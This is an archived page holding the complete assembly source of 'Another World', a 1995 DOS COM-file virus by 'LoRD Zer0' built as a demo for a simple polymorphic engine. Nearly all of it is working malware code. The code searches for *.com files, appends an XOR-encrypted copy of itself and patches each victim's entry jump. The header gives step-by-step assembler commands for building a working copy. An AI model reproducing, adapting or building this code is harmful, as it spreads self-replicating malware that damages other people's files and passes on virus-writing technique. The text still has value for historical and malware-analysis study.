home *** CD-ROM | disk | FTP | other *** search
-
- ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- ; ;
- ; ;
- ; A n o t h e r W o r l d ;
- ; ;
- ; ;
- ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-
-
- ; Virus name: Another World
- ; Origin: Sweden
- ; Engine: SPe v1.21 (Simple Polymorphic Engine)
- ; Author: LoRD Zer0
- ; Date: Mars 1995
- ; Eff length: 705 - 709 bytes
- ; SPe is 419 bytes
- ; AW is 269 bytes
- ;
- ; It's a none resident COM file infector. With no extra effects.
- ; It's just a demo vx for SPe. (SPe is a lame Engine. It's made just for
- ; Fun. I've get a bit tried of my real polymorphic Engine, Genetic eXchanger.)
- ; Well, One TridenT guy wrote a polymorphic vx in 444 bytes, So this is no
- ; record.
- ; The vx isn't so well comentated, because a normal vx coder will have no
- ; problem to understand the code except comments.
- ;
- ; B.BIN :
-
- ; DB 40h,0E9h,0,0
-
- ; To make a working copy of the virus:
- ; tasm /m2 spe.asm
- ; tasm /m2 demo.asm
- ; tlink /t demo.obj
- ; tlink /t spe.obj
- ; copy /b b.bin+demo.com vx.com
- ; copy /b vx.com+spe.com another.com
- ;
- ;
- .MoDEL TiNY
- .CoDE
- org 100h
- Start:
- mov di,100h
- call begin
- Begin: pop bp
- sub bp,offset begin
- lea si,[bp+buffer]
- movsw
- movsw
-
- mov ah,1ah
- lea dx,[bp+DTA]
- int 21h
-
- lea dx,[bp+Comfile]
- xor cx,cx
- mov ah,4eh
- again:
- int 21h
- jnc not_done
- jmp done
- not_done:
-
- lea dx,[fname+bp]
- mov ax,3D02h
- int 21h
-
- xchg bx,ax
-
- mov ah,3fh
- lea dx,[bp+buffer]
- mov cx,4
- int 21h
-
- cmp byte ptr [buffer+bp],40h
- jne go_on
- loop_me:
- call close
- mov ah,4fh
- jmp again
- comfile db '*.com',0
- buffer db 0CDh,20h,0,0
- db 'Another World, a Better World..',0 ;Well, perhaps..
- go_on:
-
- cmp word ptr [buffer+bp],'ZM'
- je loop_me
-
- mov ax,4202h
- cwd
- xor cx,cx
- int 21h
-
- mov si,ax
- add si,100h
- sub ax,4
- mov word ptr [new_jmp+bp],0e940h ;40h = INC AX
- mov word ptr [new_jmp+bp+2],ax
-
- mov cx,v_Size
- lea di,[work_space+bp+100h]
- push di
- push bx
- push bp
- call Engine
- pop bp
- pop bx
- cmp ah,0
- jnz ma
- mov ah,28h
- jmp store
- ma:
- cmp ah,28h
- jnz store
- xor ah,ah
- store:
- mov [bp+to_do],ah
- lea si,[bp+start]
- cld
- xchg al,ah
- xchg dx,cx
- push cx
- push cs
- pop es
- cld
- xor_me:
- lodsb
- to_do db 30h ; XOR
- db 0E0h ; AL,AH
- stosb
- loop xor_me
- pop cx
- add cx,dx
- pop dx
- mov ah,40h
- int 21h
- jc close_me
-
- mov ax,4200h
- cwd
- xor cx,cx
- int 21h
-
- lea dx,[new_jmp+bp]
- mov cx,4
- mov ah,40h
- int 21h
-
- close_me:
- call close
- done:
- mov dx,80h
- mov ah,1ah
- int 21h
-
- mov ax,100h
- push ax
- xor ax,ax
- ret
- db 'WHY?' ;It's a good question...
- close:
- mov ax,5700h
- int 21h
- inc ax
- int 21h
-
- mov ah,3eh
- int 21h
- retn
- Engine:
- ; COPY /B DEMO.COM+SPE.COM V.COM
- the_end:
- new_jmp = offset the_end+200h ; 200h for the engine
- DTA = offset offset New_jmp+4
- fattrib = offset DTA+21
- ftime = offset fAttrib+1
- fdate = offset Ftime +2
- Fsize = offset Fdate+2
- fname = offset Fsize+4
- work_Space = offset fname+14
- v_size = $-offset start
- end Start
-
-
- Coded by LoRD Zer0 1994-95.
- Somewhere in the kingdom of Sweden....
-